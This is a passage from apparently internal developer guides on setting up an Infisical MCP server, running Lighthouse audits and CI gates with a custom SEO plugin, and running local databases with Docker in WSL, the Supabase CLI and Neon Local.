It exposes 10 tools: list-secrets, get-secret, create-secret, update-secret, delete-secret, list-projects, create-project, create-environment, create-folder, and invite-members-to-project.

Lock it down: set INFISICAL_ENABLED_TOOLS=list-projects,list-secrets,get-secret and INFISICAL_MASK_SECRET_VALUES=true, so secret values never enter the model's context. Back it with a read-only identity scoped to one project.

CONNECT_TIMEOUT after 30000 ms (the error the codeAmani session hit on 2026-10-20) has these usual causes:

  1. Cold npx -y download. The first run downloads the package and its dependencies, which can take longer than Claude Code's 30 s connect window. Pre-install it (npm i -g @infisical/mcp@0.0.24) and point the config at node <npm-root -g>/@infisical/mcp/dist/index.js. Or start claude with MCP_TIMEOUT=60000 to widen the window.
  2. Windows + npx. A bare npx command can hang on Windows. Use "command": "cmd", "args": ["/c", "npx", "-y", "@infisical/mcp@0.0.24"], or the node path above.
  3. Missing env vars fail fast; they don't time out. The server validates its env with zod at startup and exits, which shows up as connection closed. Login is lazy (it happens on the first tool call), so a bad client secret shows up as a tool error, not a connect failure.
  4. Pin the version and skip the global bin. The global bin is named mcp, which can collide with other packages, so prefer the explicit node …/dist/index.js path.
  5. Test outside Claude: run npx @modelcontextprotocol/inspector node <path>/dist/index.js with the env vars set.

Full walkthrough: reference/mcp-setup.md.

11. Pricing (Secrets Management, checked 2026-10-20)

Plan Price Identities Envs / project Syncs Rotation Dynamic Audit log
Free $0 5 (human + machine) 3 10 No No n/a
Pro $20/identity/mo annual · $23 monthly Unlimited 6 25 Public DBs only No 30 days
Advanced $40/identity/mo annual · $46 monthly Unlimited 12 50 Yes Yes 90 days
Enterprise Custom (annual) Unlimited Unlimited Unlimited Yes Yes Custom

Machine identities count as identities, so a project with 3 developers and 3 workload identities already exceeds Free's limit of 5. Paid plans include a 30-day trial.

Other products are priced separately:

12. Self-hosting

The MIT-licensed core is free to self-host. Enterprise features (SSO enforcement, gateways, rotation and dynamic secrets, HSM) need a licence.

For EU data residency without self-hosting, use EU Cloud at https://eu.infisical.com.

codeAmani notes

Official docs:

Lighthouse Monitoring Dashboard & Custom SEO Plugin

Technology: lighthouse · Category: monitoring · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/lighthouse

Insight:

Lighthouse 13.5 audits four 0-100 categories (Performance, Accessibility, Best Practices, SEO) plus a new, unscored Agentic Browsing pass-ratio category (13.3+); PWA was removed in v12. Lighthouse 13 replaced the legacy performance audits with "insights" (cache-insight, third-parties-insight, ...), so old audit IDs in scripts and assertions silently return nothing. Lab scores gate PRs through Lighthouse CI (@lhci/cli 0.15.1, which still bundles Lighthouse 12.6.1); field truth (INP, real LCP/CLS) comes from CrUX via the PSI or CrUX API with a server-side key. Default to Lighthouse's mobile Slow 4G profile (US-first); add a Regular 3G job only for Kenya-targeted projects. Custom plugins ship domain audits (KSO index, county geo, School JSON-LD).

██╗     ██╗ ██████╗ ██╗  ██╗████████╗██╗  ██╗ ██████╗ ██╗   ██╗███████╗███████╗
██║     ██║██╔════╝ ██║  ██║╚══██╔══╝██║  ██║██╔═══██╗██║   ██║██╔════╝██╔════╝
██║     ██║██║  ███╗███████║   ██║   ███████║██║   ██║██║   ██║███████╗█████╗  
██║     ██║██║   ██║██╔══██║   ██║   ██╔══██║██║   ██║██║   ██║╚════██║██╔══╝  
███████╗██║╚██████╔╝██║  ██║   ██║   ██║  ██║╚██████╔╝╚██████╔╝███████║███████╗
╚══════╝╚═╝ ╚═════╝ ╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═╝ ╚═════╝  ╚═════╝ ╚══════╝╚══════╝

Lighthouse Monitoring Dashboard & Custom SEO Plugin

Focus: Run Google Lighthouse on demand or in CI, pick from your sites, and see scores, Core Web Vitals (lab and field) and custom domain audits. Also covers a custom Lighthouse plugin you can publish to npm, a Lighthouse CI gate with budgets, and PSI + CrUX API recipes.

Why Lighthouse in 2026

Lighthouse is the Chrome team's automated auditor. The same engine powers:

Lighthouse measures lab data: one synthetic load on an emulated device. Google Search uses field data instead: Core Web Vitals from real Chrome users, collected by CrUX. You need both. Lab data catches regressions before merge, and field data shows what users actually get.

Versions & tooling (verified 2026-10-20)

Package / API Current Notes
lighthouse 13.5.0 (2026-09-17) engines.node is >= 22.19 (since 13.0.0). ESM-only ("type": "module").
chrome-launcher 1.2.2 launches headless Chrome for Node runs
@lhci/cli 0.15.1 (2025-06-25) still the latest. Bundles lighthouse 12.6.1 for its own collection runs, not 13.x.
treosh/lighthouse-ci-action 12.6.2 wraps @lhci/cli ^0.15.1, runs on node24
PageSpeed Insights API v5 GET https://www.googleapis.com/pagespeedonline/v5/runPagespeed
CrUX API v1 POST https://chromeuxreport.googleapis.com/v1/records:queryRecord, 150 queries/min per Cloud project, free

Node version gotcha: lighthouse@13 requires Node >= 22.19, but this monorepo's root package.json declares engines.node >= 20. That mismatch is a known latent EBADENGINE for packages/dashboard, which depends on lighthouse ^13.4.1. Run anything that imports lighthouse on Node 22.19 or later. On Vercel, set the project's Node version to 22.x or 24.x. The PSI path only needs Node 18+ (global fetch).

What changed in Lighthouse 12 → 13.5

Release Change that matters
12.0.0 (2024-04-22) PWA category removed. Installability checks now live in DevTools > Application. Budgets (budget.json) removed from Lighthouse itself. SEO category reorganised: viewport and font-size moved to Best Practices, and tap-targets was replaced by target-size in Accessibility.
13.0.0 (2025-10-10) Legacy performance audits replaced by performance insights: uses-long-cache-ttl → cache-insight, third-party-summary → third-parties-insight, render-blocking-resources → render-blocking-insight, font-display → font-display-insight, uses-optimized-images → image-delivery-insight, and others. Removed offscreen-images, no-document-write, uses-passive-event-listeners, third-party-facades, uses-rel-preload, preload-fonts and font-size. Accessibility weights re-tuned. onlyCategories now errors on unknown ids. Minimum Node is 22.19.
13.1.0 (2026-04-03) Baseline compatibility audit.
13.2.0 (2026-04-30) WebMCP audits (webmcp-registered-tools, webmcp-schema-validity, webmcp-form-coverage) and an llms-txt check.
13.3.0 (2026-05-07) Agentic Browsing category added to the default config.
13.4.0 / 13.4.1 Public types entrypoint, docs for the agentic audits, and the viewer enables Agentic Browsing via the PSI API.
13.5.0 (2026-09-17) ard-schema (Agent Resource Discovery) audit, stricter validation of plugin categories, and the plugin version now appears in report credits.

Categories

Category id Scored What it checks
performance 0-100 FCP, Speed Index, LCP, TBT, CLS (lab) + insights
accessibility 0-100 ARIA, contrast, labels, focus, target size
best-practices 0-100 HTTPS, console errors, deprecated APIs, viewport
seo 0-100 crawlability, titles, meta, hreflang, canonical, structured data
agentic-browsing pass ratio, not 0-100 agent accessibility tree, CLS, llms.txt, WebMCP tool registration/schema, ARD schema. Google labels it "still under development and subject to change".

When a dashboard needs four numbers, run --only-categories=performance,accessibility,best-practices,seo. Request agentic-browsing separately and show it as "N of M checks passed".

The PSI v5 REST reference still lists only the four classic category enums. The 13.4.1 changelog, though, says the Lighthouse viewer enables agentic browsing through the PSI API. Treat agentic data from PSI as unverified until you see it in a response.

Performance score weights (Lighthouse 10–13.5)

Weights as read from default-config.js in 13.5.0:

Metric Weight
Total Blocking Time (TBT) 30%
Largest Contentful Paint (LCP) 25%
Cumulative Layout Shift (CLS) 25%
First Contentful Paint (FCP) 10%
Speed Index (SI) 10%

Score bands: 90–100 good, 50–89 needs improvement, 0–49 poor.

Core Web Vitals: INP replaced FID

Metric Good Needs improvement Poor
LCP (loading) ≤ 2.5 s ≤ 4.0 s > 4.0 s
INP (responsiveness) ≤ 200 ms ≤ 500 ms > 500 ms
CLS (visual stability) ≤ 0.1 ≤ 0.25 > 0.25

Throttling presets: US-first, Kenya 3G opt-in

These values come from lighthouse/core/config/constants.js in 13.5.0. By default Lighthouse uses simulated throttling (Lantern).

Profile RTT Throughput CPU When
Mobile, Slow 4G (mobileSlow4G, the default) 150 ms 1,638.4 Kbps 4x codeAmani default (US-first). PSI mobile uses the same profile: Moto G Power UA, 412×823 screen.
Desktop (--preset=desktop, desktopDense4G) 40 ms 10,240 Kbps 1x desktop audits, 1350×940
Regular 3G (mobileRegular3G) 300 ms 700 Kbps 4x Kenya-targeted projects only. Their design target is 2G/3G Android.
# US-first default (mobile, Slow 4G)
npx lighthouse@13.5.0 https://example.com --output=json --output-path=./report.json

# Desktop
npx lighthouse@13.5.0 https://example.com --preset=desktop

# Kenya-targeted projects only: Regular 3G
npx lighthouse@13.5.0 https://example.com \
  --throttling.rttMs=300 --throttling.throughputKbps=700 --throttling.cpuSlowdownMultiplier=4

Keep one fixed profile per project so runs stay comparable. Never compare a 3G run against a Slow 4G baseline. examples/node-api-throttling.mts does the same from the Node API, with the profiles us-mobile, us-desktop and kenya-3g.

Node API (Lighthouse 13)

import * as chromeLauncher from 'chrome-launcher';
import lighthouse, { desktopConfig, type Flags } from 'lighthouse';

const chrome = await chromeLauncher.launch({ chromeFlags: ['--headless=new'] });
try {
  const flags: Flags = { port: chrome.port, output: 'json', logLevel: 'error',
    onlyCategories: ['performance', 'accessibility', 'best-practices', 'seo'] };
  const result = await lighthouse('https://example.com', flags /* , desktopConfig */);
  if (!result) throw new Error('no result');
  const perf = result.lhr.categories['performance']?.score; // 0..1 or null
} finally {
  chrome.kill();
}

PageSpeed Insights API (+ key)

GET https://www.googleapis.com/pagespeedonline/v5/runPagespeed?url=…&strategy=mobile|desktop&category=performance&category=seo&key=…

CrUX: field data

The Chrome UX Report gives real-user p75 values over a 28-day rolling window. It updates daily at around 04:00 UTC.

Lighthouse CI in GitHub Actions (SHA-pinned)

The full workflow is in examples/github/lighthouse.yml and the full config in examples/lighthouserc.cjs.

jobs:
  lhci:
    runs-on: ubuntu-latest
    permissions: { contents: read }
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with: { ref: "${{ github.event.pull_request.head.sha }}", fetch-depth: 20 }
      - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
        with: { node-version: 22, cache: npm }
      - run: npm ci && npm run build
      - run: npx --yes @lhci/cli@0.15.1 autorun
        env:
          LHCI_GITHUB_APP_TOKEN: ${{ secrets.LHCI_GITHUB_APP_TOKEN }}

Budgets & assertions

Lighthouse 12 removed budget.json support from Lighthouse itself, so budgets now go in LHCI assertions:

assert: {
  preset: 'lighthouse:recommended',
  assertions: {
    'categories:performance': ['error', { minScore: 0.9, aggregationMethod: 'median-run' }],
    'categories:seo': ['error', { minScore: 0.95 }],
    'largest-contentful-paint': ['error', { maxNumericValue: 2500 }],
    'cumulative-layout-shift': ['error', { maxNumericValue: 0.1 }],
    'total-blocking-time': ['warn', { maxNumericValue: 200 }],
    'resource-summary:script:size': ['warn', { maxNumericValue: 300000 }],
    'resource-summary:third-party:count': ['warn', { maxNumericValue: 10 }],
  },
},

Environment variables

These are secrets. Keep them server-side and never put them in NEXT_PUBLIC_*:

PSI_API_KEY=your-pagespeed-insights-api-key
CRUX_API_KEY=your-crux-api-key
LHCI_GITHUB_APP_TOKEN=your-lhci-github-app-token

Non-secret settings:

Setting Value Where
PSI endpoint https://www.googleapis.com/pagespeedonline/v5/runPagespeed code constant
CrUX endpoint https://chromeuxreport.googleapis.com/v1/records:queryRecord code constant
Default strategy mobile route / CLI flag
Throttling profile us-mobile (Kenya-targeted: kenya-3g) per-project config
Node version 22.19+ for anything importing lighthouse Vercel project settings / CI setup-node

The Interactive Dashboard

Use the Site Selector to pick a portfolio site (primary: kenyanschools.org) or type a custom URL, then click Run Audit (PSI). You'll see:

Live: https://tech-stack.codeamanilabs.org/guide/lighthouse

To run the same logic from the CLI: node lighthouse/examples/run-audit.js https://kenyanschools.org [--full].

Lighthouse Plugin System

A plugin is an npm package named lighthouse-plugin-* that adds audits and one category. Since 13.5.0, Lighthouse validates plugin categories strictly. Only title, description, manualDescription, auditRefs and supportedModes are allowed, and any other key throws. The official guide is at https://github.com/GoogleChrome/lighthouse/blob/main/docs/plugins.md.

// lighthouse-plugin-kenyan-schools/plugin.js
export default {
  audits: [
    { path: 'lighthouse-plugin-kenyan-schools/audits/school-index-present.js' },
  ],
  category: {
    title: 'Kenyan Schools SEO',
    auditRefs: [{ id: 'school-index-present', weight: 1 }],
  },
};
// audits/school-index-present.js
import { Audit } from 'lighthouse';

class SchoolIndexPresent extends Audit {
  static get meta() {
    return {
      id: 'school-index-present',
      title: 'Page contains unique KSO school index',
      failureTitle: 'No unique KSO index identifier found',
      description: 'The directory uses internal KSO-XXXX codes.',
      requiredArtifacts: ['MainDocumentContent'],
    };
  }
  static audit({ MainDocumentContent }) {
    const has = /KSO-\d{4}/i.test(MainDocumentContent);
    return { score: has ? 1 : 0, numericValue: has ? 1 : 0 };
  }
}
export default SchoolIndexPresent;
npx lighthouse@13.5.0 https://kenyanschools.org \
  --plugins=lighthouse-plugin-kenyan-schools \
  --only-categories=lighthouse-plugin-kenyan-schools,seo

The audits bundled in examples/audits/ are:

Copy-paste templates (examples/)

File What
run-audit.js CLI that runs PSI (default) or local Chrome with --full, and prints insights JSON
extract-insights.js shared PSI/Chrome → insights transform (Lighthouse 13 audit IDs, field INP) plus an SSRF guard
dashboard-server.js Express GET /audit that mirrors the Next.js route
node-api-throttling.mts Node API with us-mobile / us-desktop / kenya-3g profiles
psi-crux.mts PSI lab + CrUX field data, graded against the CWV thresholds
lighthouserc.cjs LHCI collect/assert/upload config with budgets
github/lighthouse.yml SHA-pinned GitHub Actions workflow
plugin.js, audits/*.js custom plugin
../reference/cheatsheet.md versions, presets, audit renames, assertion syntax

codeAmani notes


Status: Reviewed 2026-10-20 against lighthouse 13.5.0, chrome-launcher 1.2.2, @lhci/cli 0.15.1, PSI API v5 and CrUX API v1.

Official docs:

Local Databases (WSL + Docker) Guide

Technology: local-database · Category: database · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/local-database

Insight:

A local database is a disposable copy of production's shape, never a place to relax production's rules. In 2026 there are four honest ways to get one: a pinned Docker container in WSL (postgres:18.6, the same engine Supabase and Neon run), the Supabase CLI stack when you also need Auth/Storage/Realtime locally, Neon Local when you want a real cloud branch behind a localhost port, and PGlite, which is Postgres 18.6 compiled to WASM and running inside your test process with no Docker at all. SQLite (node:sqlite, now a release candidate in Node 24 LTS) is the on-device store for offline-first apps. Two version traps define this refresh: npm install prisma now pulls the Prisma 8 RC, which does not read schema.prisma (pin prisma@7), and Drizzle's docs install the @rc 1.0 line while npm latest is still 0.45.4.

██╗      ██████╗  ██████╗ █████╗ ██╗
██║     ██╔═══██╗██╔════╝██╔══██╗██║
██║     ██║   ██║██║     ███████║██║
██║     ██║   ██║██║     ██╔══██║██║
███████╗╚██████╔╝╚██████╗██║  ██║███████╗
╚══════╝ ╚═════╝  ╚═════╝╚═╝  ╚═╝╚══════╝

██████╗  █████╗ ████████╗ █████╗ ██████╗  █████╗ ███████╗███████╗
██╔══██╗██╔══██╗╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔════╝
██║  ██║███████║   ██║   ███████║██████╔╝███████║███████╗█████╗
██║  ██║██╔══██║   ██║   ██╔══██║██╔══██╗██╔══██║╚════██║██╔══╝
██████╔╝██║  ██║   ██║   ██║  ██║██████╔╝██║  ██║███████║███████╗
╚═════╝ ╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═╝╚═════╝ ╚═╝  ╚═╝╚══════╝╚══════╝

Local Databases (WSL + Docker) Guide

Focus: Every way codeAmani runs a database on a laptop: pinned Docker containers inside WSL Ubuntu (Postgres + pgvector, Redis, MongoDB, MySQL/MariaDB) with one compose.yaml; the Supabase CLI local stack; Neon Local; PGlite (in-process Postgres for tests); the SQLite family (node:sqlite, better-sqlite3, Turso); Prisma 7 / Drizzle migrations and seeding against all of them; and offline-first sync (PowerSync, Electric, Zero, Turso Sync) for low-connectivity users. Image tags checked against Docker Hub and package versions against npm on 2026-10-20.

Overview

codeAmani ships production data to [[supabase]] (Postgres + RLS) or [[neon]] (serverless Postgres with branching). Neither is a good place to try a migration you're unsure about at 2am on hotel Wi-Fi. A local database is the mirror: same engine, same major version, same extensions, zero network, zero bill, and a two-second reset.

Pick the mirror by what you need to exercise:

You need… Use Postgres version Needs Docker Works offline
Plain Postgres (+ pgvector, RLS) for app dev Docker container (§3–4) 18.6 ✅ ✅
Supabase Auth / Storage / Realtime / Edge Functions locally Supabase CLI supabase start (§5) Supabase's image ✅ (or experimental native runtime on Linux/macOS) ✅
A real Neon branch, per git branch or per docker compose up Neon Local proxy (§6) your Neon project's ✅ ❌ (proxies to cloud)
Fast, isolated DB per unit test; browser/demo DB PGlite (§7) 18.6 (WASM) ❌ ✅
On-device store, CLI tools, offline queue SQLite: node:sqlite / better-sqlite3 / Turso (§8) — ❌ ✅
App keeps working for days offline, syncs later Sync engine: PowerSync / Electric / Zero / Turso Sync (§11) upstream Postgres for the sync service ✅
Redis / MongoDB / MySQL stand-ins Docker container (§3) — ✅ ✅
Local container Supabase CLI Neon Local PGlite
Cost free free Neon compute time on the branch free
Reset to empty compose down -v (~2 s) supabase db reset stop container (ephemeral branch deleted) new instance (~ms)
RLS + pgvector ✅ ✅ ✅ ✅ (@electric-sql/pglite-pgvector)
Auth / Storage / Realtime ❌ ✅ ❌ (Neon Auth lives in the cloud) ❌
Where the data lives Docker named volume Docker volumes Neon cloud memory, a directory, or IndexedDB
flowchart LR
  W["Windows 11 host<br/>Next.js dev · psql · TablePlus"]
  subgraph WSL["WSL 2 · Ubuntu"]
    D["Docker Engine<br/>(Desktop integration or apt)"]
    subgraph NET["compose network"]
      PG["pgvector/pgvector:0.8.7-pg18-trixie<br/>:5432"]
      RD["redis:8.10.2-alpine<br/>:6379"]
      SB["supabase start<br/>:54321 API · :54322 DB · :54323 Studio"]
      NL["neondatabase/neon_local:v1.5<br/>:5432 → Neon branch"]
    end
    V[("named volumes")]
  end
  T["vitest / node --test<br/>PGlite 0.5.10 in-process"]
  W -->|"127.0.0.1:5432<br/>WSL localhost forwarding"| PG
  D --- NET
  PG --- V
  RD --- V
  NL -.->|"HTTPS + API key"| NEON["Neon cloud branch"]
  PG -.->|"same engine, schema, RLS"| PROD["Supabase / Neon production"]
  T -.->|"same schema via migrations"| PROD

Official Documentation

Resource URL
Docker Desktop WSL 2 backend https://docs.docker.com/desktop/features/wsl/
Install Docker Engine on Ubuntu https://docs.docker.com/engine/install/ubuntu/
Compose file reference https://docs.docker.com/reference/compose-file/
Compose startup order (depends_on) https://docs.docker.com/compose/how-tos/startup-order/
Postgres official image https://hub.docker.com/_/postgres
pgvector/pgvector image https://hub.docker.com/r/pgvector/pgvector
Supabase CLI: getting started https://supabase.com/docs/guides/local-development/cli/getting-started
Supabase local migrations & seeding https://supabase.com/docs/guides/local-development/database-migrations
Neon Local https://neon.com/docs/local/neon-local
PGlite docs / extensions https://pglite.dev/docs/ · https://pglite.dev/extensions/
Node 24 node:sqlite https://nodejs.org/docs/latest-v24.x/api/sqlite.html
Turso SDKs (which package when) https://docs.turso.tech/sdk/introduction
Prisma ORM release status (7 vs 8) https://www.prisma.io/docs/orm/release-status
Prisma ORM 7 upgrade guide https://www.prisma.io/docs/guides/upgrade-prisma-orm/v7
Drizzle get started https://orm.drizzle.team/docs/get-started
PowerSync docs https://docs.powersync.com/
Electric sync docs https://electric-sql.com/docs/intro
Zero docs https://zero.rocicorp.dev/docs/introduction
WSL networking (NAT vs mirrored) https://learn.microsoft.com/en-us/windows/wsl/networking

Versions verified 2026-10-20

Thing Pin Notes
postgres image 18.6-trixie (latest == 18.6) 19rc1 and 19beta4 tags exist; don't pin pre-releases
pgvector/pgvector 0.8.7-pg18-trixie pgvector 0.8.7 (was 0.8.6)
redis 8.10.2-alpine (latest == 8.10.2)
mongo 8.0.34-noble mongo:latest is now 9.0.4; pin the major your Atlas cluster runs
mysql 9.7.2 (lts) latest == innovation == 26.7.0 (calendar versioning)
mariadb 12.3.3 (lts) mariadb:latest is now 13.0.2 (not LTS)
neondatabase/neon_local v1.5 (== latest, built 2025-09-25)
Node.js 24 LTS (tested on 24.15.0) node:sqlite = Stability 1.2 Release candidate since v24.15.0
@electric-sql/pglite 0.5.10 embeds PostgreSQL 18.6; pgvector via @electric-sql/pglite-pgvector 0.0.11
prisma / @prisma/client 7.10.1 npm latest for prisma is 8.0.0-rc.23 — see §9
drizzle-orm / drizzle-kit 0.45.4 / 0.31.11 rc tag = 1.0.0-rc.4; Drizzle's docs install @rc
supabase (CLI, npm) 2.121.0 Node ≥ 20 when run via npx
neonctl 8.8.0
better-sqlite3 13.0.3
@tursodatabase/database / @tursodatabase/sync 0.8.3 / 0.8.3 Turso Sync is beta
@libsql/client 0.18.0 embedded replicas
pg / postgres / mysql2 / ioredis / mongodb 8.23.1 / 3.4.9 / 3.24.6 / 6.0.0 / 7.7.0

1. Get a Docker daemon inside WSL Ubuntu

Two supported paths. Pick one, and do not run both.

Install Docker Desktop, then Settings → Resources → WSL integration → enable your Ubuntu distro. docker and docker compose then work inside Ubuntu, and published ports land on Windows localhost. See the [[docker]] guide.

Path B: Docker Engine straight into Ubuntu (no Desktop)

Inside the WSL Ubuntu shell (commands re-checked against docs.docker.com/engine/install/ubuntu/ on 2026-10-20; supported: Ubuntu 22.04, 24.04, 26.04 LTS and 26.10):

# 1. Docker's official GPG key
sudo apt update
sudo apt install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

# 2. Add the repository to Apt sources
sudo tee /etc/apt/sources.list.d/docker.sources <<EOF
Types: deb
URIs: https://download.docker.com/linux/ubuntu
Suites: $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}")
Components: stable
Architectures: $(dpkg --print-architecture)
Signed-By: /etc/apt/keyrings/docker.asc
EOF
sudo apt update

# 3. Install engine + CLI + compose plugin
sudo apt install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

# 4. Run docker without sudo (then `wsl --shutdown` to pick up the group)
sudo usermod -aG docker $USER

# 5. Verify
docker run --rm hello-world
docker compose version

Enable systemd once so the daemon starts with the distro:

sudo tee /etc/wsl.conf <<'EOF'
[boot]
systemd=true
EOF
# then from PowerShell on the host:  wsl --shutdown

Without systemd, start the daemon each session with sudo service docker start.

Filesystem rule (same as [[docker]]): keep the project on the Linux filesystem (~/code/...), never /mnt/c/.... A database data directory bind-mounted from /mnt/c crosses the 9p boundary on every fsync. Named volumes live on the WSL VM's ext4 disk and avoid it.


2. Environment variables

One .env.local per app (gitignored), one .env next to compose.yaml for Compose interpolation (also gitignored). Only real secrets go on VAR= lines; even local dev passwords are treated as secrets so the habit protects the production string that later lives in the same file.

# .env / .env.local: local only, never committed
POSTGRES_PASSWORD=<dev-only-password>
DATABASE_URL=postgresql://app:<dev-only-password>@localhost:5432/appdb
# Only if you use Neon Local (§6): a real Neon API key, store it in Hazina
NEON_API_KEY=napi_...
# Only if you use Turso Sync / embedded replicas (§8)
TURSO_AUTH_TOKEN=...

Non-secret settings:

Variable Example Used by
REDIS_URL redis://localhost:6379 ioredis
NEON_PROJECT_ID <project-id> Neon Local
PARENT_BRANCH_ID / BRANCH_ID br-... Neon Local (mutually exclusive)
DELETE_BRANCH false to keep the branch after the container stops Neon Local
TURSO_DATABASE_URL libsql://<db>-<org>.turso.io Turso
SUPABASE_TELEMETRY_DISABLED 1 Supabase CLI
Supabase local DB URL postgresql://postgres:postgres@127.0.0.1:54322/postgres printed by supabase start; fixed well-known local creds

3. docker run one-liners (pinned tags)

Pin the minor version. latest moves: on 2026-10-20 mongo:latest jumped to 9.0 and mariadb:latest to 13.0, and a Postgres major bump silently invalidates the data directory.

Postgres 18 (+ pgvector)

docker run -d --name pg \
  -e POSTGRES_USER=app \
  -e POSTGRES_PASSWORD="$POSTGRES_PASSWORD" \
  -e POSTGRES_DB=appdb \
  -p 127.0.0.1:5432:5432 \
  -v pgdata:/var/lib/postgresql \
  pgvector/pgvector:0.8.7-pg18-trixie      # or postgres:18.6-trixie without pgvector

⚠️ Postgres 18 changed the volume target. For 18+ the image sets PGDATA=/var/lib/postgresql/18/docker and declares VOLUME /var/lib/postgresql. For 17 and below mount at /var/lib/postgresql/data; mounting 17 at the bare path writes to an anonymous volume and your data vanishes on re-create, silently.

# Postgres 17 and below: note the /data suffix
docker run -d --name pg17 -e POSTGRES_PASSWORD="$POSTGRES_PASSWORD" \
  -p 127.0.0.1:5432:5432 -v pg17data:/var/lib/postgresql/data postgres:17.11-trixie

The pgvector image ships the extension but your database still needs CREATE EXTENSION IF NOT EXISTS vector;, exactly like Supabase and Neon.

MySQL 9.7 LTS / MariaDB 12.3 LTS

docker run -d --name mysql -e MYSQL_ROOT_PASSWORD="$POSTGRES_PASSWORD" -e MYSQL_DATABASE=appdb \
  -p 127.0.0.1:3306:3306 -v mysqldata:/var/lib/mysql mysql:9.7.2

docker run -d --name mariadb -e MARIADB_ROOT_PASSWORD="$POSTGRES_PASSWORD" -e MARIADB_DATABASE=appdb \
  -p 127.0.0.1:3306:3306 -v mariadbdata:/var/lib/mysql mariadb:12.3.3

mysql:latest follows the Innovation track (calendar versioning, 26.7.0 = YY.M.P). mariadb:lts is 12.3.3; mariadb:latest is the short-term 13.0.2. MariaDB env vars are MARIADB_* (MYSQL_* are legacy aliases).

Redis 8

docker run -d --name redis -p 127.0.0.1:6379:6379 -v redisdata:/data \
  redis:8.10.2-alpine redis-server --save 60 1 --appendonly yes --loglevel warning

Redis persists nothing and has no password by default; the flags above turn on RDB snapshots + AOF. This is the local stand-in for [[upstash]]; see [[caching]].

MongoDB 8.0 (single-node replica set)

docker run -d --name mongo -p 127.0.0.1:27017:27017 -v mongodata:/data/db \
  mongo:8.0.34-noble --replSet rs0 --bind_ip_all
docker exec -it mongo mongosh --eval 'rs.initiate({_id:"rs0",members:[{_id:0,host:"localhost:27017"}]})'
# mongodb://localhost:27017/appdb?replicaSet=rs0&directConnection=true

Transactions and change streams need a replica set even locally. mongo:latest is now 9.0.4: match your Atlas cluster's major instead of following latest. See [[mongodb]].

Why 127.0.0.1:PORT:PORT

-p 5432:5432 binds 0.0.0.0 inside the WSL VM. With mirrored networking, a netsh portproxy, or a café network, that is a database with a dev password answering the LAN. -p 127.0.0.1:5432:5432 costs nothing. Make it the default.


4. The whole local stack: compose.yaml

The runnable file is examples/compose.yaml: pgvector-Postgres 18.6 + Redis 8.10.2, an opt-in Mongo profile, healthchecks, named volumes, loopback-only ports, and ${POSTGRES_PASSWORD:?} interpolation so no password is committed. The core:

name: appdb-local            # no top-level `version:` key: obsolete, Compose warns
services:
  postgres:
    image: pgvector/pgvector:0.8.7-pg18-trixie
    environment:
      POSTGRES_USER: app
      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:?set POSTGRES_PASSWORD in .env}
      POSTGRES_DB: appdb
    ports: ["127.0.0.1:5432:5432"]
    volumes:
      - pgdata:/var/lib/postgresql              # pg18+ target, NOT /data
      - ./db/init:/docker-entrypoint-initdb.d:ro
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U app -d appdb"]
      interval: 5s
      retries: 10
      start_period: 20s
volumes:
  pgdata:
docker compose up -d && docker compose ps     # STATUS shows (healthy)
docker compose exec postgres psql -U app -d appdb
docker compose --profile mongo up -d          # add Mongo when the project needs it

An app service must wait for a healthy DB (depends_on: {postgres: {condition: service_healthy}}); the short list form only waits for started. Inside the Compose network use the service name + container port (postgres:5432); from the Windows host use localhost:5432.

Seeding with /docker-entrypoint-initdb.d

Scripts run in alphabetical order only on first init of an empty data directory (Postgres: .sh, .sql, .sql.gz/.xz/.zst; Mongo: .sh, .js).

-- db/init/001_schema.sql
CREATE EXTENSION IF NOT EXISTS vector;

CREATE TABLE deliveries (
  id          uuid PRIMARY KEY DEFAULT gen_random_uuid(),
  tenant_id   uuid NOT NULL,
  rider_phone text NOT NULL CHECK (rider_phone ~ '^254[0-9]{9}$'),
  fare_kes    integer NOT NULL CHECK (fare_kes > 0),
  created_at  timestamptz NOT NULL DEFAULT now()
);

-- Mirror production: RLS on locally too.
ALTER TABLE deliveries ENABLE ROW LEVEL SECURITY;
CREATE POLICY tenant_isolation ON deliveries
  USING (tenant_id = current_setting('app.tenant_id', true)::uuid);

Once a project has real migrations (Prisma/Drizzle/Supabase, §5 and §9), keep db/init to extensions only and let the migration tool own the schema, so there is one source of truth.


5. Supabase CLI local stack

When the feature touches Supabase Auth, Storage, Realtime, PostgREST or Edge Functions, a bare Postgres container is not enough. The Supabase CLI runs the whole stack in Docker.

npm install supabase@2.121.0 --save-dev     # pin per project; Windows alt: scoop install supabase
npx supabase init                           # creates ./supabase (commit it) + config.toml
npx supabase start                          # first run pulls every image; slow once

supabase start prints the local endpoints. The defaults:

Service URL
API gateway (REST, Auth, Storage, Realtime, Functions) http://127.0.0.1:54321
Postgres postgresql://postgres:postgres@127.0.0.1:54322/postgres
Studio http://127.0.0.1:54323
Mailpit (captured auth emails) http://127.0.0.1:54324
Local MCP endpoint http://127.0.0.1:54321/mcp

Keys print as sb_publishable_... / sb_secret_...; they are local-only but the secret key still never goes in client code.

The migration loop:

npx supabase migration new add_deliveries     # writes supabase/migrations/<ts>_add_deliveries.sql
npx supabase db reset                         # re-create local DB: all migrations + supabase/seed.sql
npx supabase db diff --schema public -f fix   # capture changes made in Studio as a migration
npx supabase gen types typescript --local > lib/database.types.ts
npx supabase stop                             # keeps data; `stop --no-backup` deletes it
# Ship: npx supabase link --project-ref <ref> && npx supabase db push

Full Supabase detail lives in [[supabase]].


6. Neon Local

Neon Local is not a local Postgres. It is a proxy container that gives your app a localhost:5432 endpoint and routes it to a Neon cloud branch, either an existing one (BRANCH_ID) or an ephemeral branch created on container start and deleted on stop (PARENT_BRANCH_ID, the default behaviour).

